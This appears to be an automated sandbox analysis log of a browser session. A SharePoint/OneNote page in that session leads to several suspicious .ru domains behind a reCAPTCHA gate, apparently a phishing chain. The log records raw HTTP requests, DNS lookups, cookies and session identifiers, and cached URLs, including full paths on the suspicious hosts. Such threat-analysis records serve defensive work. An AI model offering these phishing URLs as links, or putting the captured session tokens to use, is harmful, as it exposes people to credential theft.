Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/1/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://usigroups-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SUVzboZNwimQDAeQjTbBsnxxfTAjvAelcAHJQEVAPOHTVABUGSGQZJDIRYQLFYZOZDQHIECNULIQVSPL HTTP/1.1Host: fnfi.kewtdz.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/bg/lkTXq49YG5_ej1w7m4T9Nw_1Lx1Ocd1gteWQpsfV_Tk.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=c7ns1b39xrguAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://4odq.cxnev1.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/10/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://usigroups-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/1/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/OneNote.ashx?perfTag=GetChanges_2 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/10/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/50/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://usigroups-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/50/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise/owl/owl.35819d8f570fa23cdb95.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://usigroups-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/reload?k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AEdsM9PBd4T67RtdaI0mdEL_uu8eNgF12ZP6FP7kis4OG7eqb8-huCUxW2Qj58opj1xX0P5uOm7oXCy7lgA3H6g; AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/100/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://usigroups-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA7MmaaXs6MoyMD0u-3j4jqR4mQ6pB-5cQII2R4wVQ0vHzppYhvDZKreLSkB4OwOV-5pOFNqTd6iJxdKG_MYtUqBMj3wZ-tBh-9F5I2bvJN9LY6Mwih7HGi6O154fIZZt0SqnIYLIPXudwwQ1ZDCUWJJ6rPXRJhkkAWRxcM_cIKsXcw9jzjy-POTft2040Slxkv8vdNv&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYCAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AEdsM9PBd4T67RtdaI0mdEL_uu8eNgF12ZP6FP7kis4OG7eqb8-huCUxW2Qj58opj1xX0P5uOm7oXCy7lgA3H6g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/100/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA7MmaaXs6MoyMD0u-3j4jqR4mQ6pB-5cQII2R4wVQ0vHzppYhvDZKreLSkB4OwOV-5pOFNqTd6iJxdKG_MYtUqBMj3wZ-tBh-9F5I2bvJN9LY6Mwih7HGi6O154fIZZt0SqnIYLIPXudwwQ1ZDCUWJJ6rPXRJhkkAWRxcM_cIKsXcw9jzjy-POTft2040Slxkv8vdNv&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AEdsM9PBd4T67RtdaI0mdEL_uu8eNgF12ZP6FP7kis4OG7eqb8-huCUxW2Qj58opj1xX0P5uOm7oXCy7lgA3H6g; AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg

Source: global traffic	DNS traffic detected: DNS query: usigroups-my.sharepoint.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: common.online.office.com
Source: global traffic	DNS traffic detected: DNS query: m365cdn.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: spoprod-a.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: www.onenote.com
Source: global traffic	DNS traffic detected: DNS query: amcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: storage.live.com
Source: global traffic	DNS traffic detected: DNS query: augloop.office.com
Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: messaging.engagement.office.com
Source: global traffic	DNS traffic detected: DNS query: 4odq.cxnev1.ru
Source: global traffic	DNS traffic detected: DNS query: yo5.6gniu68.ru
Source: global traffic	DNS traffic detected: DNS query: fdexa.nhol.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: onenoteonline.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: fnfi.kewtdz.ru

Source: unknown

HTTP traffic detected: POST /o/RemoteTelemetry.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveContent-Length: 112sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://usigroups-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableCache-Control: privateTransfer-Encoding: chunkedContent-Type: text/htmlP3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR"Set-Cookie: X-CorrelationId: 0bba1ea8-378f-4304-aef2-02094beb4d0bX-UserSessionId: 0bba1ea8-378f-4304-aef2-02094beb4d0bStrict-Transport-Security: max-age=31536000Timing-Allow-Origin: *X-OfficeFE: BN3PEPF00001F6EX-OfficeVersion: 16.0.17601.41008X-OfficeCluster: PUS3X-Partitioning-Enabled: trueX-Content-Type-Options: nosniffX-Download-Options: noopenContent-Disposition: attachmentX-OFFICEFD: BN3PEPF00001F6EX-WacFrontEnd: BN3PEPF00001F6EX-Cache: CONFIG_NOCACHEX-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetestX-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetestX-MSEdge-Ref: Ref A: 639882CCF4E84CDEBFDAAC8E8382FD3E Ref B: MIA301000103033 Ref C: 2024-04-26T07:59:18ZDate: Fri, 26 Apr 2024 07:59:18 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: privateContent-Length: 1233Content-Type: text/htmlP3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR"Set-Cookie: X-CorrelationId: c0e19c08-b3cd-4961-9baa-aa925086a8a5X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153fStrict-Transport-Security: max-age=31536000Timing-Allow-Origin: *X-OfficeFE: SN3PEPF000091BBX-OfficeVersion: 16.0.17601.41008X-OfficeCluster: PUS6X-Partitioning-Enabled: trueX-OFFICEFD: SN3PEPF000091BBX-Cache: CONFIG_NOCACHEX-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetestX-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetestX-MSEdge-Ref: Ref A: A299CEFBAF974D1DBEE7368E92D5D7BF Ref B: MIA301000107009 Ref C: 2024-04-26T07:59:30ZDate: Fri, 26 Apr 2024 07:59:30 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Apr 2024 07:59:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8leWyCPTd8K5pn6oE%2BMrpXe1aGhX6mBu20QWHwceKBGO5XOdpESEcGUsgDTfkSypRl0LYA6g0%2F%2F9MjqIzU4THRMsEJurIxeq7%2BqkcLFL0xh9BSAc9dyr2l6EukeNtw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 87a5092e19520699-MIA
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableCache-Control: privateTransfer-Encoding: chunkedContent-Type: text/htmlP3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR"Set-Cookie: X-CorrelationId: 1d6b1a27-85c9-416c-a4c8-237b2e844ee1X-UserSessionId: 1d6b1a27-85c9-416c-a4c8-237b2e844ee1Strict-Transport-Security: max-age=31536000Timing-Allow-Origin: *X-OfficeFE: BL6PEPF0001A286X-OfficeVersion: 16.0.17601.41008X-OfficeCluster: PUS13X-Partitioning-Enabled: trueX-Content-Type-Options: nosniffX-Download-Options: noopenContent-Disposition: attachmentX-OFFICEFD: BL6PEPF0001A286X-WacFrontEnd: BL6PEPF0001A286X-Cache: CONFIG_NOCACHEX-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetestX-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetestX-MSEdge-Ref: Ref A: B3735FB36BD74DC29875C4221C6D9FD5 Ref B: MIA301000107045 Ref C: 2024-04-26T08:00:24ZDate: Fri, 26 Apr 2024 08:00:24 GMTConnection: close

Source: chromecache_332.2.dr, chromecache_304.2.dr	String found in binary or memory: http://fb.me/use-check-prop-types
Source: chromecache_249.2.dr	String found in binary or memory: http://hammerjs.github.io/
Source: chromecache_289.2.dr	String found in binary or memory: http://www.mozilla.org/newlayout/xml/parsererror.xml
Source: chromecache_332.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_289.2.dr	String found in binary or memory: https://1drv.ms
Source: chromecache_255.2.dr	String found in binary or memory: https://FNFI.kewtdz.ru/SUVzboZNwimQDAeQjTbBsnxxfTAjvAelcAHJQEVAPOHTVABUGSGQZJDIRYQLFYZOZDQHIECNULIQV
Source: chromecache_243.2.dr	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.5.0.min.js
Source: chromecache_317.2.dr	String found in binary or memory: https://aka.ms/MathAssistantSupport?client_id=onenote_wac&platform_id=web&correlation_id=
Source: chromecache_317.2.dr	String found in binary or memory: https://aka.ms/OfficeAddinOverview
Source: chromecache_317.2.dr	String found in binary or memory: https://aka.ms/Officeaddins
Source: chromecache_317.2.dr	String found in binary or memory: https://api.addins.omex.office.net/
Source: chromecache_306.2.dr	String found in binary or memory: https://apps.apple.com/in/app/microsoft-onenote/id410395246
Source: chromecache_289.2.dr	String found in binary or memory: https://attributes.engagement.office-int.com
Source: chromecache_289.2.dr	String found in binary or memory: https://attributes.engagement.office.com
Source: chromecache_289.2.dr	String found in binary or memory: https://attributes.engagement.officeppe.com
Source: chromecache_317.2.dr	String found in binary or memory: https://augloop-int.officeppe.com/v2
Source: chromecache_317.2.dr	String found in binary or memory: https://augloop.office.com/v2
Source: chromecache_317.2.dr	String found in binary or memory: https://catalogapi.azure.com/
Source: chromecache_306.2.dr	String found in binary or memory: https://cdn.hubblecontent.msit.osi.office.net
Source: chromecache_306.2.dr	String found in binary or memory: https://cdn.hubblecontent.osi.office.net
Source: chromecache_243.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161762240456_Scripts/BrowserUls.js
Source: chromecache_243.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161762240456_Scripts/CommonDiagnostics.js
Source: chromecache_243.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161762240456_Scripts/ExternalResources/js-cookie.js
Source: chromecache_243.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161762240456_Scripts/Instrumentation.js
Source: chromecache_243.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161762240456_Scripts/LearningTools/LearningTools.js
Source: chromecache_243.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161762240456_Scripts/aria-web-telemetry-2.9.0.min.js
Source: chromecache_243.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161762240456_Scripts/pickadate.min.js
Source: chromecache_358.2.dr, chromecache_242.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/images/meetings/insert_outlook_meeting_details16x16.png
Source: chromecache_358.2.dr, chromecache_242.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/images/meetings/insert_outlook_meeting_details32x32.png
Source: chromecache_358.2.dr, chromecache_242.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/images/meetings/insert_outlook_meeting_details48x48.png
Source: chromecache_358.2.dr, chromecache_242.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/images/meetings/insert_outlook_meeting_details80x80.png
Source: chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_317.2.dr	String found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: chromecache_289.2.dr	String found in binary or memory: https://contentstorage.osi.office.net/images/2f4febe2cca96f7f.gif
Source: chromecache_289.2.dr	String found in binary or memory: https://contentstorage.osi.office.net/images/eb14b3fe6a1e1671.png
Source: chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_289.2.dr	String found in binary or memory: https://ecs.office.com
Source: chromecache_306.2.dr	String found in binary or memory: https://edog.onenote.com
Source: chromecache_289.2.dr	String found in binary or memory: https://fa000000096.resources.office.net
Source: chromecache_289.2.dr	String found in binary or memory: https://fa000000096.resources.office.net/f7024bdc-7caf-4ca8-807d-2908f09640d6/1.0.2210.23001/en-us_w
Source: chromecache_289.2.dr	String found in binary or memory: https://fa000000096.resources.office.net/f7024bdc-7caf-4ca8-807d-2908f09640d6/1.0.2401.26003/en-us_w
Source: chromecache_289.2.dr	String found in binary or memory: https://feross.org
Source: chromecache_289.2.dr	String found in binary or memory: https://feross.org/opensource
Source: chromecache_317.2.dr	String found in binary or memory: https://forms.office.com
Source: chromecache_317.2.dr	String found in binary or memory: https://forms.office.com/Pages/OneNoteMathAddinFunctionPage.aspx
Source: chromecache_317.2.dr	String found in binary or memory: https://forms.officeppe.com
Source: chromecache_369.2.dr, chromecache_260.2.dr	String found in binary or memory: https://github.com/OfficeDev/office-js/blob/release/LICENSE.md
Source: chromecache_256.2.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_306.2.dr	String found in binary or memory: https://hedwigtestserver.blob.core.windows.net/builds/
Source: chromecache_317.2.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore/flyoutdetails/
Source: chromecache_267.2.dr	String found in binary or memory: https://localcdn.centro-dev.com:5555/floodgate.bundle.js.map
Source: chromecache_289.2.dr	String found in binary or memory: https://mths.be/punycode
Source: chromecache_289.2.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: chromecache_317.2.dr	String found in binary or memory: https://office.visualstudio.com/DefaultCollection/OC/_wiki/wikis/OC.wiki/22688/Using-Dictation-on-yo
Source: chromecache_306.2.dr	String found in binary or memory: https://osizewuspersimmon001.blob.core.windows.net
Source: chromecache_306.2.dr	String found in binary or memory: https://osiziwuspersimmon002.blob.core.windows.net
Source: chromecache_306.2.dr	String found in binary or memory: https://osizpscuspersimmon000.blob.core.windows.net
Source: chromecache_286.2.dr	String found in binary or memory: https://pf.events.data.cloudapp.onecollector.akadns.net/OneCollector/1.0/
Source: chromecache_202.2.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_369.2.dr, chromecache_260.2.dr, chromecache_339.2.dr	String found in binary or memory: https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE
Source: chromecache_304.2.dr	String found in binary or memory: https://reactjs.org/link/react-polyfills
Source: chromecache_202.2.dr	String found in binary or memory: https://recaptcha.net
Source: chromecache_206.2.dr	String found in binary or memory: https://res.cdn.office.net/admincenter/admin-main/2024.4.18.3/
Source: chromecache_206.2.dr	String found in binary or memory: https://res.cdn.office.net/admincenter/admin-main/2024.4.18.3/floodgate.en.bundle.js
Source: chromecache_317.2.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/suggestions
Source: chromecache_202.2.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
